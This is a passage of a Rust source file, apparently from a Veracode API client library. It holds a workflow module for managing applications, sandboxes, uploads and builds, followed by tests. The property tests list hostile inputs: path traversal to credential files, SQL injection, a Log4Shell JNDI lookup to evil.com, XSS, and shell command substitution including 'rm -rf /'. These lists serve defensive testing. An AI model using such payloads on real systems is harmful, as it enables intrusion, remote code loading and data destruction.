1use crate::{
7 VeracodeClient, VeracodeError,
8 app::{Application, BusinessCriticality},
9 build::{Build, BuildError},
10 sandbox::{Sandbox, SandboxError},
11 scan::ScanError,
12 validation::AppGuid,
13};
14use log::{debug, info};
15
16pub struct VeracodeWorkflow {
18 client: VeracodeClient,
19}
20
21pub type WorkflowResult<T> = Result<T, WorkflowError>;
23
24#[derive(Debug)]
26#[must_use = "Need to handle all error enum types."]
27pub enum WorkflowError {
28 Api(VeracodeError),
30 Sandbox(SandboxError),
32 Scan(ScanError),
34 Build(BuildError),
36 Workflow(String),
38 AccessDenied(String),
40 NotFound(String),
42}
43
44impl std::fmt::Display for WorkflowError {
45 fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
46 match self {
47 WorkflowError::Api(err) => write!(f, "API error: {err}"),
48 WorkflowError::Sandbox(err) => write!(f, "Sandbox error: {err}"),
49 WorkflowError::Scan(err) => write!(f, "Scan error: {err}"),
50 WorkflowError::Build(err) => write!(f, "Build error: {err}"),
51 WorkflowError::Workflow(msg) => write!(f, "Workflow error: {msg}"),
52 WorkflowError::AccessDenied(msg) => write!(f, "Access denied: {msg}"),
53 WorkflowError::NotFound(msg) => write!(f, "Not found: {msg}"),
54 }
55 }
56}
57
58impl std::error::Error for WorkflowError {}
59
60impl From<VeracodeError> for WorkflowError {
61 fn from(err: VeracodeError) -> Self {
62 WorkflowError::Api(err)
63 }
64}
65
66impl From<SandboxError> for WorkflowError {
67 fn from(err: SandboxError) -> Self {
68 WorkflowError::Sandbox(err)
69 }
70}
71
72impl From<ScanError> for WorkflowError {
73 fn from(err: ScanError) -> Self {
74 WorkflowError::Scan(err)
75 }
76}
77
78impl From<BuildError> for WorkflowError {
79 fn from(err: BuildError) -> Self {
80 WorkflowError::Build(err)
81 }
82}
83
84#[derive(Debug, Clone)]
86pub struct WorkflowConfig {
87 pub app_name: String,
89 pub sandbox_name: String,
91 pub business_criticality: BusinessCriticality,
93 pub app_description: Option<String>,
95 pub sandbox_description: Option<String>,
97 pub file_paths: Vec<String>,
99 pub auto_scan: bool,
101 pub scan_all_modules: bool,
103}
104
105impl WorkflowConfig {
106 #[must_use]
108 pub fn new(app_name: String, sandbox_name: String) -> Self {
109 Self {
110 app_name,
111 sandbox_name,
112 business_criticality: BusinessCriticality::Medium,
113 app_description: None,
114 sandbox_description: None,
115 file_paths: Vec::new(),
116 auto_scan: true,
117 scan_all_modules: true,
118 }
119 }
120
121 #[must_use]
123 pub fn with_business_criticality(mut self, criticality: BusinessCriticality) -> Self {
124 self.business_criticality = criticality;
125 self
126 }
127
128 #[must_use]
130 pub fn with_app_description(mut self, description: String) -> Self {
131 self.app_description = Some(description);
132 self
133 }
134
135 #[must_use]
137 pub fn with_sandbox_description(mut self, description: String) -> Self {
138 self.sandbox_description = Some(description);
139 self
140 }
141
142 #[must_use]
144 pub fn with_file(mut self, file_path: String) -> Self {
145 self.file_paths.push(file_path);
146 self
147 }
148
149 #[must_use]
151 pub fn with_files(mut self, file_paths: Vec<String>) -> Self {
152 self.file_paths.extend(file_paths);
153 self
154 }
155
156 #[must_use]
158 pub fn with_auto_scan(mut self, auto_scan: bool) -> Self {
159 self.auto_scan = auto_scan;
160 self
161 }
162
163 #[must_use]
165 pub fn with_scan_all_modules(mut self, scan_all: bool) -> Self {
166 self.scan_all_modules = scan_all;
167 self
168 }
169}
170
171#[derive(Debug, Clone)]
173pub struct WorkflowResultData {
174 pub application: Application,
176 pub sandbox: Sandbox,
178 pub app_id: String,
180 pub sandbox_id: String,
182 pub build_id: Option<String>,
184 pub app_created: bool,
186 pub sandbox_created: bool,
188 pub files_uploaded: usize,
190}
191
192impl VeracodeWorkflow {
193 #[must_use]
195 pub fn new(client: VeracodeClient) -> Self {
196 Self { client }
197 }
198
199 pub async fn execute_complete_workflow(
222 &self,
223 config: WorkflowConfig,
224 ) -> WorkflowResult<WorkflowResultData> {
225 info!("๐ Starting complete Veracode XML API workflow");
226 info!(" Application: {}", config.app_name);
227 info!(" Sandbox: {}", config.sandbox_name);
228 info!(" Files to upload: {}", config.file_paths.len());
229
230 info!("\n๐ฑ Step 1: Checking application existence...");
232 let (application, app_created) =
233 match self.client.get_application_by_name(&config.app_name).await {
234 Ok(Some(app)) => {
235 info!(
236 " โ
Application '{}' found (GUID: {})",
237 config.app_name, app.guid
238 );
239 (app, false)
240 }
241 Ok(None) => {
242 info!(
243 " โ Application '{}' not found, creating...",
244 config.app_name
245 );
246 match self
247 .client
248 .create_application_if_not_exists(
249 &config.app_name,
250 config.business_criticality,
251 config.app_description,
252 None, None, None, )
256 .await
257 {
258 Ok(app) => {
259 info!(
260 " โ
Application '{}' created successfully (GUID: {})",
261 config.app_name, app.guid
262 );
263 (app, true)
264 }
265 Err(VeracodeError::InvalidResponse(msg))
266 if msg.contains("403") || msg.contains("401") =>
267 {
268 return Err(WorkflowError::AccessDenied(format!(
269 "Access denied creating application '{}': {}",
270 config.app_name, msg
271 )));
272 }
273 Err(e) => return Err(WorkflowError::Api(e)),
274 }
275 }
276 Err(VeracodeError::InvalidResponse(msg))
277 if msg.contains("403") || msg.contains("401") =>
278 {
279 return Err(WorkflowError::AccessDenied(format!(
280 "Access denied checking application '{}': {}",
281 config.app_name, msg
282 )));
283 }
284 Err(e) => return Err(WorkflowError::Api(e)),
285 };
286
287 let app_guid = AppGuid::new(&application.guid)
289 .map_err(|e| WorkflowError::Api(VeracodeError::Validation(e)))?;
290 let app_id = self.client.get_app_id_from_guid(&app_guid).await?;
291 info!(" ๐ Application ID for XML API: {app_id}");
292
293 info!("\n๐งช Step 2: Checking sandbox existence...");
295 let sandbox_api = self.client.sandbox_api();
296 let (sandbox, sandbox_created) = match sandbox_api
297 .get_sandbox_by_name(&application.guid, &config.sandbox_name)
298 .await
299 {
300 Ok(Some(sandbox)) => {
301 info!(
302 " โ
Sandbox '{}' found (GUID: {})",
303 config.sandbox_name, sandbox.guid
304 );
305 (sandbox, false)
306 }
307 Ok(None) => {
308 info!(
309 " โ Sandbox '{}' not found, creating...",
310 config.sandbox_name
311 );
312 match sandbox_api
313 .create_sandbox_if_not_exists(
314 &application.guid,
315 &config.sandbox_name,
316 config.sandbox_description,
317 )
318 .await
319 {
320 Ok(sandbox) => {
321 info!(
322 " โ
Sandbox '{}' created successfully (GUID: {})",
323 config.sandbox_name, sandbox.guid
324 );
325 (sandbox, true)
326 }
327 Err(SandboxError::Api(VeracodeError::InvalidResponse(msg)))
328 if msg.contains("403") || msg.contains("401") =>
329 {
330 return Err(WorkflowError::AccessDenied(format!(
331 "Access denied creating sandbox '{}': {}",
332 config.sandbox_name, msg
333 )));
334 }
335 Err(e) => return Err(WorkflowError::Sandbox(e)),
336 }
337 }
338 Err(SandboxError::Api(VeracodeError::InvalidResponse(msg)))
339 if msg.contains("403") || msg.contains("401") =>
340 {
341 return Err(WorkflowError::AccessDenied(format!(
342 "Access denied checking sandbox '{}': {}",
343 config.sandbox_name, msg
344 )));
345 }
346 Err(e) => return Err(WorkflowError::Sandbox(e)),
347 };
348
349 let sandbox_id = sandbox_api
351 .get_sandbox_id_from_guid(&application.guid, &sandbox.guid)
352 .await?;
353 info!(" ๐ Sandbox ID for XML API: {sandbox_id}");
354
355 info!("\n๐ค Step 3: Uploading files to sandbox...");
357 let scan_api = self.client.scan_api()?;
358 let mut files_uploaded: usize = 0;
359
360 for file_path in &config.file_paths {
361 info!(" ๐ Uploading file: {file_path}");
362 match scan_api
363 .upload_file_to_sandbox(&app_id, file_path, &sandbox_id)
364 .await
365 {
366 Ok(uploaded_file) => {
367 info!(
368 " โ
File uploaded successfully: {} (ID: {})",
369 uploaded_file.file_name, uploaded_file.file_id
370 );
371 files_uploaded = files_uploaded.saturating_add(1);
372 }
373 Err(ScanError::FileNotFound(_)) => {
374 return Err(WorkflowError::NotFound(format!(
375 "File not found: {file_path}"
376 )));
377 }
378 Err(ScanError::Unauthorized) => {
379 return Err(WorkflowError::AccessDenied(format!(
380 "Access denied uploading file: {file_path}"
381 )));
382 }
383 Err(ScanError::PermissionDenied) => {
384 return Err(WorkflowError::AccessDenied(format!(
385 "Permission denied uploading file: {file_path}"
386 )));
387 }
388 Err(e) => return Err(WorkflowError::Scan(e)),
389 }
390 }
391
392 info!(" ๐ Total files uploaded: {files_uploaded}");
393
394 let build_id = if config.auto_scan {
396 info!("\n๐ Step 4: Starting prescan and scan...");
397 let first_file = config
398 .file_paths
399 .first()
400 .ok_or_else(|| WorkflowError::Workflow("No file paths provided".to_string()))?;
401 match scan_api
402 .upload_and_scan_sandbox(&app_id, &sandbox_id, first_file)
403 .await
404 {
405 Ok(build_id) => {
406 info!(" โ
Scan started successfully with build ID: {build_id}");
407 Some(build_id)
408 }
409 Err(ScanError::Unauthorized) => {
410 return Err(WorkflowError::AccessDenied(
411 "Access denied starting scan".to_string(),
412 ));
413 }
414 Err(ScanError::PermissionDenied) => {
415 return Err(WorkflowError::AccessDenied(
416 "Permission denied starting scan".to_string(),
417 ));
418 }
419 Err(e) => {
420 info!(" โ ๏ธ Warning: Could not start scan automatically: {e}");
421 info!(
422 " ๐ก You may need to start the scan manually from the Veracode platform"
423 );
424 None
425 }
426 }
427 } else {
428 info!("\nโญ๏ธ Step 4: Skipping automatic scan (auto_scan = false)");
429 None
430 };
431
432 info!("\nโ
Workflow completed successfully!");
433 info!(" ๐ Summary:");
434 info!(
435 " - Application: {} (created: {})",
436 config.app_name, app_created
437 );
438 info!(
439 " - Sandbox: {} (created: {})",
440 config.sandbox_name, sandbox_created
441 );
442 info!(" - Files uploaded: {files_uploaded}");
443 if let Some(ref build_id_ref) = build_id {
444 info!(
445 " - Scan started: {} (build ID: {})",
446 config.auto_scan, build_id_ref
447 );
448 } else {
449 info!(" - Scan started: {}", config.auto_scan);
450 }
451
452 let result = WorkflowResultData {
453 application,
454 sandbox,
455 app_id,
456 sandbox_id,
457 build_id,
458 app_created,
459 sandbox_created,
460 files_uploaded,
461 };
462
463 Ok(result)
464 }
465
466 pub async fn ensure_app_and_sandbox(
486 &self,
487 app_name: &str,
488 sandbox_name: &str,
489 business_criticality: BusinessCriticality,
490 ) -> WorkflowResult<(Application, Sandbox, String, String)> {
491 let config = WorkflowConfig::new(app_name.to_string(), sandbox_name.to_string())
492 .with_business_criticality(business_criticality)
493 .with_auto_scan(false);
494
495 let result = self.execute_complete_workflow(config).await?;
496 Ok((
497 result.application,
498 result.sandbox,
499 result.app_id,
500 result.sandbox_id,
501 ))
502 }
503
504 pub async fn get_application_by_name(&self, app_name: &str) -> WorkflowResult<Application> {
519 match self.client.get_application_by_name(app_name).await? {
520 Some(app) => Ok(app),
521 None => Err(WorkflowError::NotFound(format!(
522 "Application '{app_name}' not found"
523 ))),
524 }
525 }
526
527 pub async fn get_sandbox_by_name(
543 &self,
544 app_guid: &str,
545 sandbox_name: &str,
546 ) -> WorkflowResult<Sandbox> {
547 let sandbox_api = self.client.sandbox_api();
548 match sandbox_api
549 .get_sandbox_by_name(app_guid, sandbox_name)
550 .await?
551 {
552 Some(sandbox) => Ok(sandbox),
553 None => Err(WorkflowError::NotFound(format!(
554 "Sandbox '{sandbox_name}' not found"
555 ))),
556 }
557 }
558
559 pub async fn delete_sandbox_builds(
577 &self,
578 app_name: &str,
579 sandbox_name: &str,
580 ) -> WorkflowResult<()> {
581 info!("๐๏ธ Deleting builds from sandbox '{sandbox_name}'...");
582
583 let app = self.get_application_by_name(app_name).await?;
585 let sandbox = self.get_sandbox_by_name(&app.guid, sandbox_name).await?;
586
587 let app_guid = AppGuid::new(&app.guid)
589 .map_err(|e| WorkflowError::Api(VeracodeError::Validation(e)))?;
590 let app_id = self.client.get_app_id_from_guid(&app_guid).await?;
591 let sandbox_api = self.client.sandbox_api();
592 let sandbox_id = sandbox_api
593 .get_sandbox_id_from_guid(&app.guid, &sandbox.guid)
594 .await?;
595
596 let scan_api = self.client.scan_api()?;
598 match scan_api
599 .delete_all_sandbox_builds(&app_id, &sandbox_id)
600 .await
601 {
602 Ok(_) => {
603 info!(" โ
Successfully deleted all builds from sandbox '{sandbox_name}'");
604 Ok(())
605 }
606 Err(ScanError::Unauthorized) => Err(WorkflowError::AccessDenied(
607 "Access denied deleting sandbox builds".to_string(),
608 )),
609 Err(ScanError::PermissionDenied) => Err(WorkflowError::AccessDenied(
610 "Permission denied deleting sandbox builds".to_string(),
611 )),
612 Err(ScanError::BuildNotFound) => {
613 info!(" โน๏ธ No builds found to delete in sandbox '{sandbox_name}'");
614 Ok(())
615 }
616 Err(e) => Err(WorkflowError::Scan(e)),
617 }
618 }
619
620 pub async fn delete_sandbox(&self, app_name: &str, sandbox_name: &str) -> WorkflowResult<()> {
638 info!("๐๏ธ Deleting sandbox '{sandbox_name}'...");
639
640 let app = self.get_application_by_name(app_name).await?;
642 let sandbox = self.get_sandbox_by_name(&app.guid, sandbox_name).await?;
643
644 let _ = self.delete_sandbox_builds(app_name, sandbox_name).await;
646
647 let sandbox_api = self.client.sandbox_api();
649 match sandbox_api.delete_sandbox(&app.guid, &sandbox.guid).await {
650 Ok(_) => {
651 info!(" โ
Successfully deleted sandbox '{sandbox_name}'");
652 Ok(())
653 }
654 Err(SandboxError::Api(VeracodeError::InvalidResponse(msg)))
655 if msg.contains("403") || msg.contains("401") =>
656 {
657 Err(WorkflowError::AccessDenied(format!(
658 "Access denied deleting sandbox '{sandbox_name}': {msg}"
659 )))
660 }
661 Err(SandboxError::NotFound) => {
662 info!(" โน๏ธ Sandbox '{sandbox_name}' not found (may have been already deleted)");
663 Ok(())
664 }
665 Err(e) => Err(WorkflowError::Sandbox(e)),
666 }
667 }
668
669 pub async fn delete_application(&self, app_name: &str) -> WorkflowResult<()> {
687 info!("๐๏ธ Deleting application '{app_name}'...");
688
689 let app = self.get_application_by_name(app_name).await?;
691
692 let sandbox_api = self.client.sandbox_api();
694 match sandbox_api.list_sandboxes(&app.guid, None).await {
695 Ok(sandboxes) => {
696 for sandbox in sandboxes {
697 info!(" ๐๏ธ Deleting sandbox: {}", sandbox.name);
698 let _ = self.delete_sandbox(app_name, &sandbox.name).await;
699 }
700 }
701 Err(e) => {
702 info!(" โ ๏ธ Warning: Could not list sandboxes for cleanup: {e}");
703 }
704 }
705
706 let app_guid = AppGuid::new(&app.guid)
708 .map_err(|e| WorkflowError::Api(VeracodeError::Validation(e)))?;
709 let app_id = self.client.get_app_id_from_guid(&app_guid).await?;
710 let scan_api = self.client.scan_api()?;
711 match scan_api.delete_all_app_builds(&app_id).await {
712 Ok(_) => info!(" โ
Deleted all application builds"),
713 Err(e) => info!(" โ ๏ธ Warning: Could not delete application builds: {e}"),
714 }
715
716 let app_guid = AppGuid::new(&app.guid)
718 .map_err(|e| WorkflowError::Api(VeracodeError::Validation(e)))?;
719 match self.client.delete_application(&app_guid).await {
720 Ok(_) => {
721 info!(" โ
Successfully deleted application '{app_name}'");
722 Ok(())
723 }
724 Err(VeracodeError::InvalidResponse(msg))
725 if msg.contains("403") || msg.contains("401") =>
726 {
727 Err(WorkflowError::AccessDenied(format!(
728 "Access denied deleting application '{app_name}': {msg}"
729 )))
730 }
731 Err(VeracodeError::NotFound(_)) => {
732 info!(" โน๏ธ Application '{app_name}' not found (may have been already deleted)");
733 Ok(())
734 }
735 Err(e) => Err(WorkflowError::Api(e)),
736 }
737 }
738
739 pub async fn complete_cleanup(&self, app_name: &str) -> WorkflowResult<()> {
760 info!("๐งน Starting complete cleanup for application '{app_name}'");
761 info!(" โ ๏ธ WARNING: This will delete ALL data associated with this application");
762 info!(" This includes all sandboxes, builds, and scan results");
763
764 match self.delete_application(app_name).await {
765 Ok(_) => {
766 info!("โ
Complete cleanup finished successfully");
767 Ok(())
768 }
769 Err(WorkflowError::NotFound(_)) => {
770 info!("โน๏ธ Application '{app_name}' not found - nothing to clean up");
771 Ok(())
772 }
773 Err(e) => {
774 info!("โ Cleanup encountered errors: {e}");
775 Err(e)
776 }
777 }
778 }
779
780 pub async fn ensure_build_exists(
800 &self,
801 app_id: &str,
802 sandbox_id: Option<&str>,
803 version: Option<&str>,
804 ) -> WorkflowResult<Build> {
805 self.ensure_build_exists_with_policy(app_id, sandbox_id, version, 1)
806 .await
807 }
808
809 pub async fn ensure_build_exists_with_policy(
832 &self,
833 app_id: &str,
834 sandbox_id: Option<&str>,
835 version: Option<&str>,
836 deletion_policy: u8,
837 ) -> WorkflowResult<Build> {
838 info!("๐ Checking if build exists (deletion policy: {deletion_policy})...");
839
840 let build_api = self.client.build_api()?;
841
842 match build_api
844 .get_build_info(&crate::build::GetBuildInfoRequest {
845 app_id: app_id.to_string(),
846 build_id: None, sandbox_id: sandbox_id.map(|s| s.to_string()),
848 })
849 .await
850 {
851 Ok(build) => {
852 debug!(" ๐ Build already exists: {}", build.build_id);
853 if let Some(build_version) = &build.version {
854 debug!(" Existing Version: {build_version}");
855 }
856
857 let build_status_str = build
859 .attributes
860 .get("status")
861 .or_else(|| build.attributes.get("analysis_status"))
862 .or_else(|| build.attributes.get("scan_status"))
863 .map(|s| s.as_str())
864 .unwrap_or("Unknown");
865
866 let build_status = crate::build::BuildStatus::from_string(build_status_str);
867 debug!(" Build Status: {build_status}");
868
869 if deletion_policy == 0 {
871 return Err(WorkflowError::Workflow(format!(
872 "Build {} already exists and deletion policy is set to 'Never delete' (0). Cannot proceed with upload.",
873 build.build_id
874 )));
875 }
876
877 if build_status == crate::build::BuildStatus::ResultsReady {
879 debug!(
880 " ๐ Build has 'Results Ready' status - creating new build to preserve existing results"
881 );
882 self.create_build_for_upload(app_id, sandbox_id, version)
883 .await
884 }
885 else if build_status.is_safe_to_delete(deletion_policy) {
887 info!(
888 " ๐๏ธ Build is safe to delete according to policy {deletion_policy}. Deleting..."
889 );
890
891 match build_api
893 .delete_build(&crate::build::DeleteBuildRequest {
894 app_id: app_id.to_string(),
895 sandbox_id: sandbox_id.map(|s| s.to_string()),
896 })
897 .await
898 {
899 Ok(_) => {
900 info!(" โ
Existing build deleted successfully");
901 }
902 Err(e) => {
903 return Err(WorkflowError::Build(e));
904 }
905 }
906
907 info!(" โณ Waiting for build deletion to be fully processed...");
909 self.wait_for_build_deletion(app_id, sandbox_id).await?;
910
911 info!(" โ Creating new build...");
913 self.create_build_for_upload(app_id, sandbox_id, version)
914 .await
915 } else {
916 Err(WorkflowError::Workflow(format!(
917 "Build {} has status '{}' which is not safe to delete with policy {} (0=Never, 1=Safe only, 2=Except Results Ready). Cannot proceed with upload.",
918 build.build_id, build_status, deletion_policy
919 )))
920 }
921 }
922 Err(crate::build::BuildError::BuildNotFound) => {
923 info!(" โ No build found, creating new build...");
924 self.create_build_for_upload(app_id, sandbox_id, version)
925 .await
926 }
927 Err(e) => {
928 info!(" โ ๏ธ Error checking build existence: {e}");
929 info!(" โ Attempting to create new build...");
931 self.create_build_for_upload(app_id, sandbox_id, version)
932 .await
933 }
934 }
935 }
936
937 async fn create_build_for_upload(
949 &self,
950 app_id: &str,
951 sandbox_id: Option<&str>,
952 version: Option<&str>,
953 ) -> WorkflowResult<Build> {
954 let build_api = self.client.build_api()?;
955
956 let build_version = if let Some(v) = version {
957 v.to_string()
958 } else {
959 let timestamp = std::time::SystemTime::now()
961 .duration_since(std::time::UNIX_EPOCH)
962 .map_err(|e| WorkflowError::Workflow(format!("System time error: {e}")))?
963 .as_secs();
964 format!("build-{timestamp}")
965 };
966
967 match build_api
968 .create_build(&crate::build::CreateBuildRequest {
969 app_id: app_id.to_string(),
970 version: Some(build_version.clone()),
971 lifecycle_stage: Some(crate::build::default_lifecycle_stage().to_string()),
972 launch_date: None,
973 sandbox_id: sandbox_id.map(|s| s.to_string()),
974 })
975 .await
976 {
977 Ok(build) => {
978 info!(" โ
Build created successfully: {}", build.build_id);
979 info!(" Version: {build_version}");
980 if sandbox_id.is_some() {
981 info!(" Type: Sandbox build");
982 } else {
983 info!(" Type: Application build");
984 }
985 Ok(build)
986 }
987 Err(e) => {
988 info!(" โ Build creation failed: {e}");
989 Err(WorkflowError::Build(e))
990 }
991 }
992 }
993
994 async fn wait_for_build_deletion(
1008 &self,
1009 app_id: &str,
1010 sandbox_id: Option<&str>,
1011 ) -> WorkflowResult<()> {
1012 let build_api = self.client.build_api()?;
1013 let max_attempts = 5;
1014 let delay_seconds = 3;
1015
1016 let sleep_duration = tokio::time::Duration::from_secs(delay_seconds);
1018
1019 for attempt in 1..=max_attempts {
1020 tokio::time::sleep(sleep_duration).await;
1022
1023 match build_api
1025 .get_build_info(&crate::build::GetBuildInfoRequest {
1026 app_id: app_id.to_string(),
1027 build_id: None,
1028 sandbox_id: sandbox_id.map(|s| s.to_string()),
1029 })
1030 .await
1031 {
1032 Ok(_build) => {
1033 if attempt < max_attempts {
1035 info!(
1036 " โณ Build still exists, waiting {delay_seconds} more seconds... (attempt {attempt}/{max_attempts})"
1037 );
1038 } else {
1039 info!(
1040 " โ ๏ธ Build still exists after {max_attempts} attempts, proceeding anyway"
1041 );
1042 }
1043 }
1044 Err(crate::build::BuildError::BuildNotFound) => {
1045 info!(" โ
Build deletion confirmed (attempt {attempt}/{max_attempts})");
1047 return Ok(());
1048 }
1049 Err(e) => {
1050 info!(" โ ๏ธ Error checking build status: {e} (attempt {attempt})");
1052 }
1053 }
1054 }
1055
1056 Ok(())
1059 }
1060
1061 pub async fn upload_large_file_with_build_management(
1083 &self,
1084 app_id: &str,
1085 sandbox_id: Option<&str>,
1086 file_path: &str,
1087 filename: Option<&str>,
1088 version: Option<&str>,
1089 ) -> WorkflowResult<crate::scan::UploadedFile> {
1090 info!("๐ Starting large file upload with build management");
1091 info!(" File: {file_path}");
1092 if let Some(sandbox_id) = sandbox_id {
1093 info!(" Target: Sandbox {sandbox_id}");
1094 } else {
1095 info!(" Target: Application {app_id}");
1096 }
1097
1098 let _build = self
1100 .ensure_build_exists(app_id, sandbox_id, version)
1101 .await?;
1102
1103 info!("\n๐ค Uploading file using uploadlargefile.do...");
1105 let scan_api = self.client.scan_api()?;
1106
1107 match scan_api
1108 .upload_large_file(crate::scan::UploadLargeFileRequest {
1109 app_id: app_id.to_string(),
1110 file_path: file_path.to_string(),
1111 filename: filename.map(|s| s.to_string()),
1112 sandbox_id: sandbox_id.map(|s| s.to_string()),
1113 })
1114 .await
1115 {
1116 Ok(uploaded_file) => {
1117 info!(" โ
Large file uploaded successfully:");
1118 info!(" File ID: {}", uploaded_file.file_id);
1119 info!(" File Name: {}", uploaded_file.file_name);
1120 info!(" Size: {} bytes", uploaded_file.file_size);
1121 Ok(uploaded_file)
1122 }
1123 Err(e) => {
1124 info!(" โ Large file upload failed: {e}");
1125 Err(WorkflowError::Scan(e))
1126 }
1127 }
1128 }
1129
1130 pub async fn upload_large_file_with_progress_and_build_management<F>(
1153 &self,
1154 app_id: &str,
1155 sandbox_id: Option<&str>,
1156 file_path: &str,
1157 filename: Option<&str>,
1158 version: Option<&str>,
1159 progress_callback: F,
1160 ) -> WorkflowResult<crate::scan::UploadedFile>
1161 where
1162 F: Fn(u64, u64, f64) + Send + Sync,
1163 {
1164 info!("๐ Starting large file upload with progress tracking and build management");
1165 info!(" File: {file_path}");
1166
1167 let _build = self
1169 .ensure_build_exists(app_id, sandbox_id, version)
1170 .await?;
1171
1172 info!("\n๐ค Uploading file with progress tracking...");
1174 let scan_api = self.client.scan_api()?;
1175
1176 match scan_api
1177 .upload_large_file_with_progress(
1178 crate::scan::UploadLargeFileRequest {
1179 app_id: app_id.to_string(),
1180 file_path: file_path.to_string(),
1181 filename: filename.map(|s| s.to_string()),
1182 sandbox_id: sandbox_id.map(|s| s.to_string()),
1183 },
1184 progress_callback,
1185 )
1186 .await
1187 {
1188 Ok(uploaded_file) => {
1189 info!(" โ
Large file uploaded successfully with progress tracking");
1190 Ok(uploaded_file)
1191 }
1192 Err(e) => {
1193 info!(" โ Large file upload with progress failed: {e}");
1194 Err(WorkflowError::Scan(e))
1195 }
1196 }
1197 }
1198
1199 pub async fn upload_file_with_smart_build_management(
1221 &self,
1222 app_id: &str,
1223 sandbox_id: Option<&str>,
1224 file_path: &str,
1225 filename: Option<&str>,
1226 version: Option<&str>,
1227 ) -> WorkflowResult<crate::scan::UploadedFile> {
1228 let file_metadata = tokio::fs::metadata(file_path)
1230 .await
1231 .map_err(|e| WorkflowError::Workflow(format!("Cannot access file {file_path}: {e}")))?;
1232
1233 let file_size = file_metadata.len();
1234 const LARGE_FILE_THRESHOLD: u64 = 100 * 1024 * 1024; info!("๐ File size: {file_size} bytes");
1237
1238 if file_size > LARGE_FILE_THRESHOLD {
1239 info!("๐ฆ Using large file upload (uploadlargefile.do) with build management");
1240 self.upload_large_file_with_build_management(
1241 app_id, sandbox_id, file_path, filename, version,
1242 )
1243 .await
1244 } else {
1245 info!("๐ฆ Using standard file upload (uploadfile.do)");
1246 let scan_api = self.client.scan_api()?;
1247
1248 match scan_api
1249 .upload_file(&crate::scan::UploadFileRequest {
1250 app_id: app_id.to_string(),
1251 file_path: file_path.to_string(),
1252 save_as: filename.map(|s| s.to_string()),
1253 sandbox_id: sandbox_id.map(|s| s.to_string()),
1254 })
1255 .await
1256 {
1257 Ok(uploaded_file) => {
1258 info!(" โ
File uploaded successfully via uploadfile.do");
1259 Ok(uploaded_file)
1260 }
1261 Err(e) => {
1262 info!(" โ Standard upload failed: {e}");
1263 Err(WorkflowError::Scan(e))
1264 }
1265 }
1266 }
1267 }
1268
1269 pub async fn get_or_create_build(
1288 &self,
1289 app_id: &str,
1290 sandbox_id: Option<&str>,
1291 version: Option<&str>,
1292 ) -> WorkflowResult<Build> {
1293 self.ensure_build_exists(app_id, sandbox_id, version).await
1294 }
1295}
1296
1297#[cfg(test)]
1298mod tests {
1299 use super::*;
1300 use proptest::prelude::*;
1301
1302 #[test]
1303 fn test_workflow_config_builder() {
1304 let config = WorkflowConfig::new("MyApp".to_string(), "MySandbox".to_string())
1305 .with_business_criticality(BusinessCriticality::High)
1306 .with_app_description("Test application".to_string())
1307 .with_file("test.jar".to_string())
1308 .with_auto_scan(false);
1309
1310 assert_eq!(config.app_name, "MyApp");
1311 assert_eq!(config.sandbox_name, "MySandbox");
1312 assert_eq!(
1313 config.business_criticality as i32,
1314 BusinessCriticality::High as i32
1315 );
1316 assert_eq!(config.app_description, Some("Test application".to_string()));
1317 assert_eq!(config.file_paths, vec!["test.jar"]);
1318 assert!(!config.auto_scan);
1319 }
1320
1321 #[test]
1322 fn test_workflow_error_display() {
1323 let error = WorkflowError::NotFound("Application not found".to_string());
1324 assert_eq!(error.to_string(), "Not found: Application not found");
1325
1326 let error = WorkflowError::AccessDenied("Permission denied".to_string());
1327 assert_eq!(error.to_string(), "Access denied: Permission denied");
1328
1329 let error = WorkflowError::Workflow("Custom error".to_string());
1330 assert_eq!(error.to_string(), "Workflow error: Custom error");
1331 }
1332
1333 fn valid_name_strategy() -> impl Strategy<Value = String> {
1340 r"[a-zA-Z0-9 _-]{1,200}".prop_map(|s| s.trim().to_string())
1341 }
1342
1343 fn path_traversal_strategy() -> impl Strategy<Value = String> {
1345 prop_oneof![
1346 Just("../".to_string()),
1347 Just("..\\".to_string()),
1348 Just("../../etc/passwd".to_string()),
1349 Just("..\\..\\windows\\system32".to_string()),
1350 Just("/etc/passwd".to_string()),
1351 Just("C:\\Windows\\System32\\config\\sam".to_string()),
1352 Just("....//....//".to_string()),
1353 Just("..%2F..%2F".to_string()),
1354 Just("%2e%2e%2f".to_string()),
1355 Just("..;/".to_string()),
1356 ]
1357 }
1358
1359 fn injection_attack_strategy() -> impl Strategy<Value = String> {
1361 prop_oneof![
1362 Just("'; DROP TABLE apps; --".to_string()),
1363 Just("admin' OR '1'='1".to_string()),
1364 Just("${jndi:ldap://evil.com/a}".to_string()),
1365 Just("{{7*7}}".to_string()),
1366 Just("<script>alert('XSS')</script>".to_string()),
1367 Just("\0null\0byte".to_string()),
1368 Just("&admin=true".to_string()),
1369 Just("?param=value".to_string()),
1370 Just("`rm -rf /`".to_string()),
1371 Just("$(whoami)".to_string()),
1372 Just("\n\rHTTP/1.1 200 OK\n\r".to_string()),
1373 ]
1374 }
1375
1376 fn oversized_string_strategy() -> impl Strategy<Value = String> {
1378 (1000..10000usize).prop_map(|size| "A".repeat(size))
1379 }
1380
1381 fn control_char_strategy() -> impl Strategy<Value = String> {
1383 prop_oneof![
1384 Just("\x00".to_string()),
1385 Just("\x01\x02\x03".to_string()),
1386 Just("\x7F".to_string()),
1387 Just("\u{FEFF}".to_string()), Just("\u{200B}".to_string()), ]
1390 }
1391
1392 proptest! {
1393 #![proptest_config(ProptestConfig {
1394 cases: if cfg!(miri) { 5 } else { 1000 },
1395 failure_persistence: None,
1396 .. ProptestConfig::default()
1397 })]
1398
1399 #[test]
1405 fn prop_workflow_config_accepts_valid_names(
1406 app_name in valid_name_strategy(),
1407 sandbox_name in valid_name_strategy()
1408 ) {
1409 let config = WorkflowConfig::new(app_name.clone(), sandbox_name.clone());
1410 prop_assert_eq!(&config.app_name, &app_name);
1411 prop_assert_eq!(&config.sandbox_name, &sandbox_name);
1412 }
1413
1414 #[test]
1418 fn prop_workflow_config_stores_file_paths(
1419 traversal in path_traversal_strategy()
1420 ) {
1421 let config = WorkflowConfig::new("App".to_string(), "Sandbox".to_string())
1422 .with_file(traversal.clone());
1423 prop_assert_eq!(&config.file_paths, &vec![traversal]);
1425 }
1426
1427 #[test]
1429 fn prop_workflow_config_handles_multiple_files(
1430 file_count in 1..100usize
1431 ) {
1432 let mut config = WorkflowConfig::new("App".to_string(), "Sandbox".to_string());
1433 let files: Vec<String> = (0..file_count)
1434 .map(|i| format!("file{}.jar", i))
1435 .collect();
1436
1437 config = config.with_files(files.clone());
1438 prop_assert_eq!(config.file_paths.len(), file_count);
